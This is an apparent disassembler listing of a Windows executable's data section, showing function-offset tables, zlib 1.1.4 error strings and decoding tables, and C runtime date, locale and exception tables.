sub_4A4EEF dd offset sub_4A4FEC dd offset sub_4A50E9 dd offset sub_4A51E6 dd offset sub_4A52E3 dd offset sub_4A53E0 dd offset sub_4A54DD dd offset sub_4A55DA dd offset sub_4A56D7 dd offset sub_4A57D4 dd offset sub_4A58D0 dd offset sub_4A59CA dd offset sub_4A5AC7 dd offset sub_4A5BC4 dd offset sub_4A5CC1 dd offset sub_4A5DBE dd offset sub_4A5EBB dd offset sub_4A5FB8 dd offset sub_4A60B5 dd offset sub_4A61B2 dd offset sub_4A62AF dd offset sub_4A63AC dd offset sub_4A64A9 dd offset sub_4A65A6 dd offset sub_4A66A3 dd offset sub_4A67A0 dd offset sub_4A689D dd offset sub_4A699A dd offset sub_4A6A96 dd offset sub_4A6B93 dd offset sub_4A6C8F dd offset sub_4A6D8C dd offset sub_4A6E89 dd offset sub_4A6F86 dd offset sub_4A7083 dd offset sub_4A7180 dd offset sub_4A727D dd offset sub_4A737A dd offset sub_4A7477 dd offset sub_4A7574 dd offset sub_4A7671 dd offset sub_4A776E dd offset sub_4A786B dd offset sub_4A7968 dd offset sub_4A7A65 dd offset sub_4A7B62 dd offset sub_4A7C5F dd offset sub_4A7D5C dd offset sub_4A7E58 dd offset sub_4A7F55 dd offset sub_4A8052 dd offset sub_4A814F dd offset sub_4A824C dd offset sub_4A8349 dd offset sub_4A8446 dd offset sub_4A8543 dd offset sub_4A8640 dd offset sub_4A873D dd offset sub_4A883A dd offset sub_4A8937 dd offset sub_4A8A34 dd offset sub_4A8B31 dd offset sub_4A8C2E dd offset sub_4A8D2B dd offset sub_4A8E28 dd offset sub_4A8F24 dd offset sub_4A9021 dd offset sub_4A911E dd offset sub_4A921B dd offset sub_4A9318 dd offset sub_4A9414 dd offset sub_4A9511 dd offset sub_4A960B dd offset sub_4A9708 dd offset sub_4A9805 dd offset sub_4A9902 dd offset sub_4A99FE dd offset sub_4A9AFB dd offset sub_4A9BF7 dd offset sub_4A9CF4 dd offset sub_4A9DF1 dd offset sub_4A9EEE dd offset sub_4A9FEB dd offset sub_4AA0E8 dd offset sub_4AA1E5 dd offset sub_4AA2E2 dd offset sub_4AA3DF dd offset sub_4AA4DC dd offset sub_4AA5D9 dd offset sub_4AA6D6 dd offset sub_4AA7D3 dd offset sub_4AA8D0 dd offset sub_4AA9CD dd offset sub_4AAACA dd offset sub_4AABC7 dd offset sub_4AACC4 dd offset sub_4AADC1 dd offset sub_4AAEBE dd offset sub_4AAFBB dd offset sub_4AB0B8 dd offset sub_4AB1B5 dd offset sub_4AB2B2 dd offset sub_4AB3AF dd offset sub_4AB4AC dd offset sub_4AB5A9 dd offset sub_4AB6A6 dd offset sub_4AB7A3 dd offset sub_4AB8A0 dd offset sub_4AB99D dd offset sub_4ABA9A dd offset sub_4ABB97 dd offset sub_4ABC94 dd offset sub_4ABD91 dd offset sub_4ABE8E dd offset sub_4ABF8B dd offset sub_4AC088 dd offset sub_4AC185 dd offset sub_4AC282 dd offset sub_4AC37F dd offset sub_4AC47C dd offset sub_4AC576 dd offset sub_4AC673 dd offset sub_4AC770 dd offset sub_4AC86D dd offset sub_4AC96A dd offset sub_4ACA67 dd offset sub_4ACB64 dd offset sub_4ACC61 dd offset sub_4ACD5E dd offset sub_4ACE5B dd offset sub_4ACF58 dd offset sub_4AD055 dd offset sub_4AD152 dd offset sub_4AD24C dd offset sub_4AD349 dd offset sub_4AD446 dd offset sub_4AD543 dd offset sub_4AD640 dd offset sub_4AD73D dd offset sub_4AD839 dd offset sub_4AD936 dd offset sub_4ADA33 dd offset sub_4ADB30 dd offset sub_4ADC2D dd offset sub_4ADD2A dd offset sub_4ADE27 dd offset sub_4ADF24 dd offset sub_4AE021 dd offset sub_4AE11E dd offset sub_4AE21B dd offset sub_4AE318 dd offset sub_4AE415 dd offset sub_4AE511 dd offset sub_4AE60E dd offset sub_4AE70B dd offset sub_4AE808 dd offset sub_4AE905 dd offset sub_4AEA02 dd offset sub_4AEAFF dd offset sub_4AEBFC dd offset sub_4AECF9 dd offset sub_4AEDF6 dd offset sub_4AEEF3 dd offset sub_4AEFF0 dd offset sub_4AF0ED dd offset sub_4AF1EA dd offset sub_4AF2E7 dd offset sub_4AF3E4 dd offset sub_4AF4E1 dd offset sub_4AF5DE dd offset sub_4AF6DB dd offset sub_4AF7D8 dd offset sub_4AF8D5 dd offset sub_4AF9CF dd offset sub_4AFACC dd offset sub_4AFBC9 dd offset sub_4AFCC6 dd offset sub_4AFDC3 dd offset sub_4AFEC0 dd offset sub_4AFFBD dd offset sub_4B00B9 dd offset sub_4B01B6 dd offset sub_4B02B3 dd offset sub_4B03B0 dd offset sub_4B04AD dd offset sub_4B05AA dd offset sub_4B06A7 dd offset sub_4B07A4 dd offset sub_4B089E dd offset sub_4B099B dd offset sub_4B0A98 dd offset sub_4B0B92 dd offset sub_4B0C8F dd offset sub_4B0D8C dd offset sub_4B0E89 dd offset sub_4B0F86 dd offset sub_4B1083 dd offset sub_4B1180 dd offset sub_4B127D dd offset sub_4B137A dd offset sub_4B1477 dd offset sub_4B1574 dd offset sub_4B1671 dd offset sub_4B176B dd offset sub_4B1868 dd offset sub_4B1965 dd offset sub_4B1A62 dd offset sub_4B1B5F dd offset sub_4B1C5C dd offset sub_4B1D59 dd offset sub_4B1E56 dd offset sub_4B1F53 dd offset sub_4B204F dd offset sub_4B214C dd offset sub_4B2248 dd offset sub_4B2345 dd offset sub_4B243F dd offset sub_4B253C dd offset sub_4B2639 dd offset sub_4B2736 dd offset sub_4B2833 dd offset sub_4B292D dd offset sub_4B2A2A dd offset sub_4B2B27 dd offset sub_4B2C23 dd offset sub_4B2D20 dd offset sub_4B2E1D dd offset sub_4B2F1A dd offset sub_4B3017 dd offset sub_4B3114 dd offset sub_4B3211 byte_4EDC44 db 1 ; DATA XREF: .text:004BB8FBr ; .text:004BB909w align 4 aShutdown db 'Shutdown',0 ; DATA XREF: .text:004B7CCDo ; .text:004B7CF3o ... align 4 aCQqCg db '—šŸŸœœ–ƒÓ',0 align 10h aCQqRbctzc db '—šŸŸœ–’‡–Ó',0 align 10h aUnicode db '(Unicode) ',0 ; DATA XREF: .text:004BBF4Do align 4 aErrorAccessVio db 'Error: Access violation at 0x%08X (tried to %s 0x%08X), program t' ; DATA XREF: .text:004BA9D8o db 'erminated.',0 aReadFrom db 'read from',0 ; DATA XREF: .text:loc_4BA9B9o align 4 aWriteTo db 'write to',0 ; DATA XREF: .text:004BA9ADo align 10h aOutputdebugs_0 db 'OutputDebugStringW',0 ; DATA XREF: .text:004B9873o align 4 aOutputdebugstr db 'OutputDebugStringA',0 ; DATA XREF: .text:004B9861o align 4 off_4EDD08 dd offset byte_53525F ; DATA XREF: .text:004B9193o dword_4EDD0C dd 7525h ; DATA XREF: .text:004B9178o aSetprocessshut db 'SetProcessShutdownParameters',0 ; DATA XREF: .text:004B852Bo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: .text:004B851Do align 10h word_4EDD40 dw 0FEEBh ; DATA XREF: .text:004BDCF5r byte_4EDD42 db 0 ; DATA XREF: .text:004BDCFFr align 4 aPropertysheeta db 'PropertySheetA',0 ; DATA XREF: sub_4BDFA4+6Ao align 4 aComctl32_dll db 'COMCTL32.DLL',0 ; DATA XREF: sub_4BDFA4+56o ; sub_4BE07A+6o align 4 a_trackmouseeve db '_TrackMouseEvent',0 ; DATA XREF: sub_4BE07A+1Ao align 4 dd 0FFFFFFFFh aRaidErrorUCrea db 'RAID error %u creating listwindow, reverting to older format.',0 ; DATA XREF: .text:004BE176o align 4 aListbox db 'LISTBOX',0 ; DATA XREF: .text:004BE151o ; char a_dbglog[] a_dbglog db '.DbgLog',0 ; DATA XREF: sub_4BE373:loc_4BE467o ; char aU[] aU db '-%u',0 ; DATA XREF: sub_4BE373+C9o asc_4EDDD0 db ' --- ',0 ; DATA XREF: .text:004BE4F0o align 4 aS_03d db '%s.%03d',0 ; DATA XREF: .text:004BE4DEo aC db '%c',0 ; DATA XREF: .text:004BE4BDo align 4 off_4EDDE4 dd offset a1_1_4_1 ; DATA XREF: sub_4BE535+19r ; "1.1.4" a1_1_4_1 db '1.1.4',0 ; DATA XREF: .data:off_4EDDE4o align 10h byte_4EDDF0 db 31h ; DATA XREF: sub_4C09F4+Fr a_1_4 db '.1.4',0 align 4 aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_4C0B75+DEo align 4 aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_4C0B75+120o aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_4C0B75+1BEo align 10h aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_4C0B75+3D0o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_4C0B75+659o align 4 off_4EDE68 dd offset aNeedDictiona_0 ; DATA XREF: .text:004C1695r ; "need dictionary" dd offset aStreamEnd ; "stream end" dd offset dword_4F49CC dd offset aFileError ; "file error" off_4EDE78 dd offset aStreamError ; DATA XREF: sub_4BEBAE+63r ; "stream error" dd offset aDataError ; "data error" off_4EDE80 dd offset aInsufficient_0 ; DATA XREF: sub_4BE535+26Br ; "insufficient memory" off_4EDE84 dd offset aBufferError ; DATA XREF: sub_4BEBAE+82r ; sub_4BEBAE+1CEr ... ; "buffer error" dd offset aIncompatibleVe ; "incompatible version" dd offset dword_4F49D0 aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: .data:off_4EDE68o aStreamEnd db 'stream end',0 ; DATA XREF: .data:004EDE6Co align 4 aFileError db 'file error',0 ; DATA XREF: .data:004EDE74o align 4 aStreamError db 'stream error',0 ; DATA XREF: .data:off_4EDE78o align 4 aDataError db 'data error',0 ; DATA XREF: .data:004EDE7Co align 4 aInsufficient_0 db 'insufficient memory',0 ; DATA XREF: .data:off_4EDE80o aBufferError db 'buffer error',0 ; DATA XREF: .data:off_4EDE84o align 4 aIncompatibleVe db 'incompatible version',0 ; DATA XREF: .data:004EDE88o align 10h a1_1_4_0 db '1.1.4',0 ; DATA XREF: .text:004C1683o align 4 off_4EDF18 dd offset dword_4F25A8 ; DATA XREF: sub_4C1960+1Co dd offset dword_4F245C dd 101h, 11Eh, 0Fh, 0 off_4EDF30 dd offset dword_4F2A28 ; DATA XREF: sub_4C1960+3Ao dd offset dword_4F24D0 dd 0 dd 1Eh, 0Fh, 0 dword_4EDF48 dd 0 ; DATA XREF: sub_4C1960+58o dd offset dword_4F2548 dd 0 dd 13h, 7 aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_4C4F0F+2A6o align 10h aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_4C4F0F+3E3o align 10h aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_4C4F0F+7DDo aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_4C4F0F+DECo align 10h aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_4C63A5+353o aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_4C63A5+61Fo align 8 dword_4EE008 dd 9 ; DATA XREF: sub_4C7C1B+6r dword_4EE00C dd 5 ; DATA XREF: sub_4C7C1B+11r dword_4EE010 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_4C7C1B+1Bo dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_4EF010 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_4C7C1B+24o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+65o aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+7Fo aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_4C7A96+84o align 10h aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_4C7A96+96o align 10h aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_4C7A96+119o align 10h aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_4C7A96+12Bo align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_4C7A96+144o align 10h dword_4EF200 dd 0 ; DATA XREF: sub_4C4F0F+C00r ; sub_4C4F0F+D60r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_4C7E30+459o align 4 aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_4C7E30+63Do align 10h dword_4EF280 dd 19930520h, 3 dup(0) ; DATA XREF: .text:004C9457o ; __NLG_Notify_0+2o off_4EF290 dd offset off_4EF298 ; DATA XREF: sub_4C975E+12r align 8 off_4EF298 dd offset dword_4F3210 ; DATA XREF: .data:off_4EF290o dd offset byte_4F320C dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday_0 ; "Sunday" dd offset aMonday_0 ; "Monday" dd offset aTuesday_0 ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday_0 ; "Thursday" dd offset aFriday_0 ; "Friday" dd offset aSaturday_0 ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril_0 ; "April" dd offset aMay ; "May" dd offset aJune_0 ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember_0 ; "November" dd offset aDecember_0 ; "December" dd offset aAm_0 ; "AM" dd offset aPm_0 ; "PM" dd offset aMDYy ; "M/d/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHMmSs ; "H:mm:ss" off_4EF344 dd offset __exit_0 ; DATA XREF: __amsg_exit_0+1Cr dword_4EF348 dd 2 ; DATA XREF: __FF_MSGBANNER_0+Er ; __NMSG_WRITE_0+46r ... off_4EF34C dd offset aNull_0 ; DATA XREF: __output_0:loc_4CA88Fr ; __output_0+457r ; "(null)" off_4EF350 dd offset aNull_1 ; DATA XREF: __output_0+259r ; "(null)" off_4EF354 dd offset word_4EF35E ; DATA XREF: _atol_0+23r ; _atol_0:loc_4C95B9r ... off_4EF358 dd offset word_4EF35E ; DATA XREF: _iswctype_0+18r db 2 dup(0) word_4EF35E dw 20h ; DATA XREF: sub_4CDAAD+18r ; .data:off_4EF354o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4EF560 dd 1 ; DATA XREF: _atol_0:loc_4C9560r ; _atol_0:loc_4C95A4r ... dd 2Eh, 1, 0 dword_4EF570 dd 7080h ; DATA XREF: _localtime+28r ; _localtime:loc_4CA040r ... dword_4EF574 dd 1 ; DATA XREF: _localtime+3Ar ; ___loctotime_t_0+98r ... dword_4EF578 dd 0FFFFF1F0h ; DATA XREF: _localtime+59r ; _localtime+8Fr ... off_4EF57C dd offset dword_545350 ; DATA XREF: .data:off_4EF5FCo dd 0Fh dup(0) off_4EF5BC dd offset dword_544450 ; DATA XREF: .data:off_4EF600o dd 0Fh dup(0) ; char *off_4EF5FC off_4EF5FC dd offset off_4EF57C ; DATA XREF: __expandtime+334r ; __tzset_0+BAr ... ; char *off_4EF600 off_4EF600 dd offset off_4EF5BC ; DATA XREF: __tzset_0+F4r ; __tzset_0+11Br ... align 8 dword_4EF608 dd 0FFFFFFFFh ; DATA XREF: __tzset_0+1Dw ; __isindst_0+1Er ... dword_4EF60C dd 0 ; DATA XREF: __isindst_0:loc_4CB24Dr ; _cvtdate_0+BFw dword_4EF610 dd 0 ; DATA XREF: __isindst_0+192r ; _cvtdate_0+E0w align 8 dword_4EF618 dd 0FFFFFFFFh ; DATA XREF: __tzset_0+17w ; __isindst_0+26r ... dword_4EF61C dd 0 ; DATA XREF: __isindst_0+13Ar ; _cvtdate_0+EAw ... dword_4EF620 dd 0 ; DATA XREF: __isindst_0+1A1r ; _cvtdate_0+10Bw ... align 10h dword_4EF630 dd 0C0000005h ; DATA XREF: _xcptlookup_0+Ar ; _xcptlookup_0+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4EF6A8 dd 3 ; DATA XREF: __XcptFilter_0+58r dword_4EF6AC dd 7 ; DATA XREF: __XcptFilter_0+5Er dword_4EF6B0 dd 0Ah ; DATA XREF: _xcptlookup_0+4r dword_4EF6B4 dd 8Ch ; DATA XREF: __XcptFilter_0+82r ; __XcptFilter_0+8Fw ... dword_4EF6B8 dd 0FFFFFFFFh, 0A00h, 10h, 0 ; DATA XREF: __flsbuf_0:loc_4CA4D3o dword_4EF6C8 dd 2 ; DATA XREF: __NMSG_WRITE_0+Eo ; __NMSG_WRITE_0+28r off_4EF6CC dd offset aR6002Floatin_0 ; DATA XREF: __NMSG_WRITE_0+FCr ; __NMSG_WRITE_0+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4F354Ch, 9, 4F3520h, 0Ah, 4F34FCh, 10h, 4F34D0h dd 11h, 4F34A0h, 12h, 4F347Ch, 13h, 4F3450h, 18h, 4F3418h dd 19h, 4F33F0h, 1Ah, 4F33B8h, 1Bh, 4F3380h, 1Ch, 4F3358h dd 78h, 4F3348h, 79h, 4F3338h, 7Ah, 4F3328h, 0FCh, 4F3324h dd 0FFh, 4F3314h off_4EF758 dd offset off_4EF758 ; DATA XREF: __NMSG_WRITE_0+1Bo ; sub_4CCBF9+Do ... off_4EF75C dd offset off_4EF758 ; DATA XREF: sub_4CCBF9:loc_4CCC79r ; sub_4CCBF9+89w ... dd offset dword_4EF770 dd offset dword_4EF770 dword_4EF768 dd 0FFFFFFFFh ; DATA XREF: sub_4CCBF9r ; sub_4CCD3D:loc_4CCD8Aw dd 0FFFFFFFFh dword_4EF770 dd 0F0h, 0F1h, 233h dup(0) ; DATA XREF: .data:004EF760o ; .data:004EF764o dword_4F0044 dd 5CDh dup(0) ; DATA XREF: UPX0:0042BC8Co off_4F1778 dd offset off_4EF758 ; DATA XREF: sub_4CCD3D+15r ; sub_4CCD3D+20w ... dword_4F177C dd 1E0h ; DATA XREF: sub_4CA24A+51r ; sub_4CA3A2:loc_4CA3DEr ... off_4F1780 dd offset dword_4F4EE0 ; DATA XREF: ___initstdio_0+55o align 8 dd offset dword_4F4EE0 dd 101h dword_4F1790 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio_0+72o dd 1000h, 0 dword_4F17A0 dd 3 dup(0) ; DATA XREF: __flsbuf_0+50o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4F17C0 dd 3 dup(0) ; DATA XREF: __flsbuf_0+58o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4F17F0 dd 84h dup(0) ; DATA XREF: ___initstdio_0+9Bo off_4F1A00 dd offset sub_4CE4A4 ; DATA XREF: __output_0+3AAr ; ___initstdio_0+69o off_4F1A04 dd offset sub_4CE4A4 ; DATA XREF: __output_0+3E2r dd offset sub_4CE4A4 off_4F1A0C dd offset sub_4CE4A4 ; DATA XREF: __output_0+3CBr dd offset sub_4CE4A4 dd offset sub_4CE4A4 dd 0 dword_4F1A1C dd 0 ; DATA XREF: _cvtdate_0+23r ; 